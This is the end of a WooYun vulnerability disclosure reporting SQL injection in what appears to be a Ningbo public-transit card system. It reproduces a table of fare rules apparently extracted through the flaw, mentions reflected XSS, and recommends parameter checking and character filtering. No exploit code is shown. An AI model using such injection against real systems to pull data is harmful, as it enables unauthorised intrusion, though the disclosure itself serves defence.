| 2008-12-17 00:00:00 | 5 | C 类 | 03_普通钱包类宁波市民卡 | 099950 | 公交 | | | 1.8 | 0 | E00C03210000 |
| 2008-12-03 00:00:00 | 5 | A 类 | 01_卡专有票类内部学生卡 | 003602 | 公交 | | | 1 | 0 | E00A01A10000 |
| 2008-12-02 00:00:00 | 5 | A 类 | 01_卡专有票类员工卡票卡 | 003602 | 公交 | | | 1 | 0 | E00A01A90000 |
| 2013-08-22 00:00:00 | 5 | I 类 | 03_普通钱包类电子钱包卡 | 099969 | 公交 | | | .1 | 0 | E00I03010000 |
| 2008-12-28 00:00:00 | 5 | A 类 | 01_卡专有票类VIP2票卡 | 003602 | 公交 | | | 1 | 0 | E00A01B80000 |
| 2008-12-04 00:00:00 | 5 | A 类 | 01_卡专有票类高龄人票卡 | 003602 | 公交 | | | 1 | 0 | E00A01B50000 |
| 2007-12-01 00:00:00 | 5 | A 类 | 03_普通钱包类电子钱包卡 | 003602 | 公交 | | | .6 | 0 | E00A03010000 |
| 2007-12-02 00:00:00 | 5 | A 类 | 03_普通钱包类特种月票卡 | 003602 | 公交 | | | .6 | 0 | E00A03A20000 |
| 2007-12-03 00:00:00 | 5 | A 类 | 03_普通钱包类普通月票卡 | 003602 | 公交 | | | .6 | 0 | E00A03A30000 |
| 2007-12-04 00:00:00 | 5 | A 类 | 03_普通钱包类学生月票卡 | 003602 | 公交 | | | .3 | 0 | E00A03A40000 |
| 2007-12-06 00:00:00 | 5 | A 类 | 03_普通钱包类员工卡票卡 | 003602 | 公交 | | | .6 | 0 | E00A03A90000 |
| 2007-12-05 00:00:00 | 5 | A 类 | 03_普通钱包类老人月票卡 | 003602 | 公交 | | | .3 | 0 | E00A03A50000 |
| 2007-12-09 00:00:00 | 5 | A 类 | 03_普通钱包类城际通票卡 | 003602 | 公交 | | | .6 | 0 | E00A03300000 |
| 2007-12-01 00:00:00 | 5 | B 类 | 03_普通钱包类电子钱包卡 | 003602 | 公交 | | | 1.2 | 0 | E00B03010000 |
| 2007-12-02 00:00:00 | 5 | B 类 | 03_普通钱包类特种月票卡 | 003602 | 公交 | | | 1.2 | 0 | E00B03A20000 |
| 2007-12-03 00:00:00 | 5 | B 类 | 03_普通钱包类普通月票卡 | 003602 | 公交 | | | 1.2 | 0 | E00B03A30000 |
| 2007-12-04 00:00:00 | 5 | B 类 | 03_普通钱包类学生月票卡 | 003602 | 公交 | | | .6 | 0 | E00B03A40000 |
| 2007-12-06 00:00:00 | 5 | B 类 | 03_普通钱包类员工卡票卡 | 003602 | 公交 | | | 1.2 | 0 | E00B03A90000 |
| 2007-12-05 00:00:00 | 5 | B 类 | 03_普通钱包类老人月票卡 | 003602 | 公交 | | | .6 | 0 | E00B03A50000 |
| 2007-12-07 00:00:00 | 5 | B 类 | 03_普通钱包类城际通票卡 | 003602 | 公交 | | | 1.2 | 0 | E00B03300000 |
| 2007-12-01 00:00:00 | 5 | C 类 | 03_普通钱包类电子钱包卡 | 003602 | 公交 | | | 1.8 | 0 | E00C03010000 |
| 2007-12-02 00:00:00 | 5 | C 类 | 03_普通钱包类特种月票卡 | 003602 | 公交 | | | 1.8 | 0 | E00C03A20000 |
| 2007-12-03 00:00:00 | 5 | C 类 | 03_普通钱包类普通月票卡 | 003602 | 公交 | | | 1.8 | 0 | E00C03A30000 |
| 2007-12-04 00:00:00 | 5 | C 类 | 03_普通钱包类学生月票卡 | 003602 | 公交 | | | .9 | 0 | E00C03A40000 |
| 2007-12-06 00:00:00 | 5 | C 类 | 03_普通钱包类员工卡票卡 | 003602 | 公交 | | | 1.8 | 0 | E00C03A90000 |
| 2007-12-05 00:00:00 | 5 | C 类 | 03_普通钱包类老人月票卡 | 003602 | 公交 | | | .9 | 0 | E00C03A50000 |
| 2007-12-17 00:00:00 | 5 | C 类 | 03_普通钱包类城际通票卡 | 003602 | 公交 | | | 1.8 | 0 | E00C03300000 |
| 2007-12-02 00:00:00 | 5 | D 类 | 03_普通钱包类电子钱包卡 | 003602 | 公交 | | | 2.4 | 0 | E00D03010000 |
| 2007-12-10 00:00:00 | 5 | D 类 | 03_普通钱包类特种月票卡 | 003602 | 公交 | | | 2.4 | 0 | E00D03A20000 |
| 2007-12-12 00:00:00 | 5 | D 类 | 03_普通钱包类普通月票卡 | 003602 | 公交 | | | 2.4 | 0 | E00D03A30000 |
| 2007-12-20 00:00:00 | 5 | D 类 | 03_普通钱包类学生月票卡 | 003602 | 公交 | | | 1.2 | 0 | E00D03A40000 |
| 2007-12-23 00:00:00 | 5 | D 类 | 03_普通钱包类员工卡票卡 | 003602 | 公交 | | | 2.4 | 0 | E00D03A90000 |
| 2007-12-21 00:00:00 | 5 | D 类 | 03_普通钱包类老人月票卡 | 003602 | 公交 | | | 1.2 | 0 | E00D03A50000 |
| 2007-12-28 00:00:00 | 5 | D 类 | 03_普通钱包类城际通票卡 | 003602 | 公交 | | | 2.4 | 0 | E00D03300000 |
| 2007-12-02 00:00:00 | 5 | E 类 | 03_普通钱包类电子钱包卡 | 003602 | 公交 | | | .9 | 0 | E00E03010000 |
| 2007-12-03 00:00:00 | 5 | E 类 | 03_普通钱包类特种月票卡 | 003602 | 公交 | | | .9 | 0 | E00E03A20000 |
| 2007-12-03 00:00:00 | 5 | E 类 | 03_普通钱包类普通月票卡 | 003602 | 公交 | | | .9 | 0 | E00E03A30000 |
| 2014-11-21 00:00:00 | 5 | B 类 | 03_普通钱包类市民卡1 | 003601 | 公交 | | | 1.2 | 0 | E00B034B0000 |
| 2014-12-19 00:00:00 | 5 | C 类 | 03_普通钱包类市民卡1 | 099969 | 公交 | | | 1.8 | 0 | E00C034B0000 |
| 2014-12-19 00:00:00 | 5 | I 类 | 03_普通钱包类市民卡1 | 099969 | 公交 | | | .1 | 0 | E00I034B0000 |
| 2013-07-02 00:00:00 | 5 | H 类 | 03_普通钱包类市民卡1 | 099969 | 公交 | | | 3 | 0 | E00H034B0000 |
| 2014-11-21 00:00:00 | 5 | A 类 | 03_普通钱包类市民卡1 | 099969 | 公交 | | | .6 | 0 | E00A034B0000 |
| 2007-12-10 00:00:00 | 5 | E 类 | 03_普通钱包类学生月票卡 | 003602 | 公交 | | | .45 | 0 | E00E03A40000 |
| 2007-12-15 00:00:00 | 5 | E 类 | 03_普通钱包类员工卡票卡 | 003602 | 公交 | | | .9 | 0 | E00E03A90000 |
| 2007-12-11 00:00:00 | 5 | E 类 | 03_普通钱包类老人月票卡 | 003602 | 公交 | | | .45 | 0 | E00E03A50000 |
| 2007-12-29 00:00:00 | 5 | E 类 | 03_普通钱包类城际通票卡 | 003602 | 公交 | | | .9 | 0 | E00E03300000 |
| 2009-11-30 00:00:00 | 5 | B 类 | 01_卡专有票类高龄人票卡 | 099925 | 公交 | | | 2 | 0 | E00B01B50000 |
| 2009-11-30 00:00:00 | 5 | C 类 | 01_卡专有票类高龄人票卡 | 099925 | 公交 | | | 3 | 0 | E00C01B50000 |
| 2009-11-30 00:00:00 | 5 | D 类 | 01_卡专有票类高龄人票卡 | 099925 | 公交 | | | 4 | 0 | E00D01B50000 |
| 2009-11-30 00:00:00 | 5 | E 类 | 01_卡专有票类高龄人票卡 | 099925 | 公交 | | | 5 | 0 | E00E01B50000 |
| 2009-11-30 00:00:00 | 5 | F 类 | 01_卡专有票类高龄人票卡 | 099925 | 公交 | | | 6 | 0 | E00F01B50000 |
| 2013-02-05 00:00:00 | 5 | H 类 | 01_卡专有票类高龄人票卡 | 099969 | 公交 | | | 5 | 0 | E00H01B50000 |
| 2013-02-05 00:00:00 | 5 | H 类 | 03_普通钱包类电子钱包卡 | 099969 | 公交 | | | 3 | 0 | E00H03010000 |
| 2013-02-06 00:00:00 | 5 | H 类 | 03_普通钱包类特种月票卡 | 099969 | 公交 | | | 3 | 0 | E00H03A20000 |
| 2013-02-07 00:00:00 | 5 | H 类 | 03_普通钱包类普通月票卡 | 099969 | 公交 | | | 3 | 0 | E00H03A30000 |
| 2013-02-08 00:00:00 | 5 | H 类 | 03_普通钱包类学生月票卡 | 099969 | 公交 | | | 1.5 | 0 | E00H03A40000 |
| 2013-03-01 00:00:00 | 5 | H 类 | 03_普通钱包类员工卡票卡 | 099969 | 公交 | | | 3 | 0 | E00H03A90000 |
| 2013-02-11 00:00:00 | 5 | H 类 | 03_普通钱包类老人月票卡 | 099969 | 公交 | | | 1.5 | 0 | E00H03A50000 |
| 2013-03-05 00:00:00 | 5 | H 类 | 03_普通钱包类城际通票卡 | 099969 | 公交 | | | 3 | 0 | E00H03300000 |
| 2013-07-05 00:00:00 | 5 | H 类 | 03_普通钱包类宁波市民卡 | 099969 | 公交 | | | 3 | 0 | E00H03210000 |
| 2013-08-23 00:00:00 | 5 | I 类 | 03_普通钱包类特种月票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A20000 |
| 2013-08-24 00:00:00 | 5 | I 类 | 03_普通钱包类普通月票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A30000 |
| 2013-08-25 00:00:00 | 5 | I 类 | 03_普通钱包类学生月票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A40000 |
| 2013-08-29 00:00:00 | 5 | I 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | .1 | 0 | E00I03A10000 |
| 2013-08-27 00:00:00 | 5 | I 类 | 03_普通钱包类员工卡票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A90000 |
| 2013-08-26 00:00:00 | 5 | I 类 | 03_普通钱包类老人月票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A50000 |
| 2013-09-03 00:00:00 | 5 | I 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | .1 | 0 | E00I03A80000 |
| 2013-09-05 00:00:00 | 5 | I 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | .1 | 0 | E00I03B80000 |
| 2013-09-01 00:00:00 | 5 | I 类 | 03_普通钱包类城际通票卡 | 099969 | 公交 | | | .1 | 0 | E00I03300000 |
| 2015-05-19 00:00:00 | 5 | H 类 | 03_普通钱包类市民卡2 | 099969 | 公交 | | | 1.5 | 0 | E00H034C0000 |
| 2015-06-08 00:00:00 | 5 | G 类 | 03_普通钱包类市民卡2 | 099969 | 公交 | | | 2 | 0 | E00G034C0000 |
| 2014-12-20 00:00:00 | 5 | D 类 | 03_普通钱包类市民卡1 | 099925 | 公交 | | | 2.4 | 0 | E00D034B0000 |
| 2015-04-14 00:00:00 | 5 | B 类 | 03_普通钱包类市民卡2 | 003601 | 公交 | | | .6 | 0 | E00B034C0000 |
| 2007-12-07 00:00:00 | 5 | A 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | .3 | 0 | E00A03A10000 |
| 2015-04-20 00:00:00 | 5 | A 类 | 03_普通钱包类市民卡2 | 099969 | 公交 | | | .3 | 0 | E00A034C0000 |
| 2007-12-10 00:00:00 | 5 | C 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | .9 | 0 | E00C03A10000 |
| 2007-12-22 00:00:00 | 5 | D 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | 1.2 | 0 | E00D03A10000 |
| 2007-12-20 00:00:00 | 5 | E 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | 1.5 | 0 | E00E03A10000 |
| 2013-07-02 00:00:00 | 5 | F 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | 1.8 | 0 | E00F03A10000 |
| 2015-04-20 00:00:00 | 5 | C 类 | 03_普通钱包类市民卡2 | 099969 | 公交 | | | .9 | 0 | E00C034C0000 |
| 2013-03-04 00:00:00 | 5 | H 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | 1.5 | 0 | E00H03A10000 |
| 2007-12-10 00:00:00 | 5 | A 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | .6 | 0 | E00A03A80000 |
| 2007-12-09 00:00:00 | 5 | B 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | 1.2 | 0 | E00B03A80000 |
| 2007-12-19 00:00:00 | 5 | C 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | 1.8 | 0 | E00C03A80000 |
| 2013-07-01 00:00:00 | 5 | D 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | 2.4 | 0 | E00D03A80000 |
| 2015-04-20 00:00:00 | 5 | I 类 | 03_普通钱包类市民卡2 | 099969 | 公交 | | | .1 | 0 | E00I034C0000 |
| 2013-07-02 00:00:00 | 5 | F 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | 3.6 | 0 | E00F03A80000 |
| 2015-07-17 00:00:00 | 5 | A 类 | 01_卡专有票类VIP1票卡 | 099969 | 公交 | | | 1 | 0 | E00A01A80000 |
| 2013-07-01 00:00:00 | 5 | H 类 | 03_普通钱包类VIP1票卡 | 099969 | 公交 | | | 3 | 0 | E00H03A80000 |
| 2007-12-11 00:00:00 | 5 | A 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | .6 | 0 | E00A03B80000 |
| 2013-11-27 00:00:00 | 5 | Z 类 | 01_卡专有票类员工卡票卡 | 099969 | 公交 | | | 0 | 0 | E00Z01A90000 |
| 2007-12-10 00:00:00 | 5 | B 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | 1.2 | 0 | E00B03B80000 |
| 2007-12-27 00:00:00 | 5 | C 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | 1.8 | 0 | E00C03B80000 |
| 2013-07-02 00:00:00 | 5 | D 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | 2.4 | 0 | E00D03B80000 |
| 2013-07-02 00:00:00 | 5 | F 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | 3.6 | 0 | E00F03B80000 |
| 2013-07-02 00:00:00 | 5 | H 类 | 03_普通钱包类VIP2票卡 | 099969 | 公交 | | | 3 | 0 | E00H03B80000 |
| 2007-12-08 00:00:00 | 5 | B 类 | 03_普通钱包类内部学生卡 | 099969 | 公交 | | | .6 | 0 | E00B03A10000 |
| 2007-12-12 00:00:00 | 5 | A 类 | 03_普通钱包类宁波市民卡 | 003602 | 公交 | | | .6 | 0 | E00A03210000 |
| 2010-10-26 00:00:00 | 5 | G 类 | 03_普通钱包类学生月票卡 | 099925 | 公交 | | | 2 | 0 | E00G03A40000 |
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+


注入信息.png


tables.png


公交卡信息.png


漏洞证明:

注入信息.png

修复方案:

对所有的参数重新检测一下,不止这一个参数存在注入,这里只举一例
网站同时存在一些反射XSS,过滤一下特殊字符
祝好!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:16 (WooYun评价)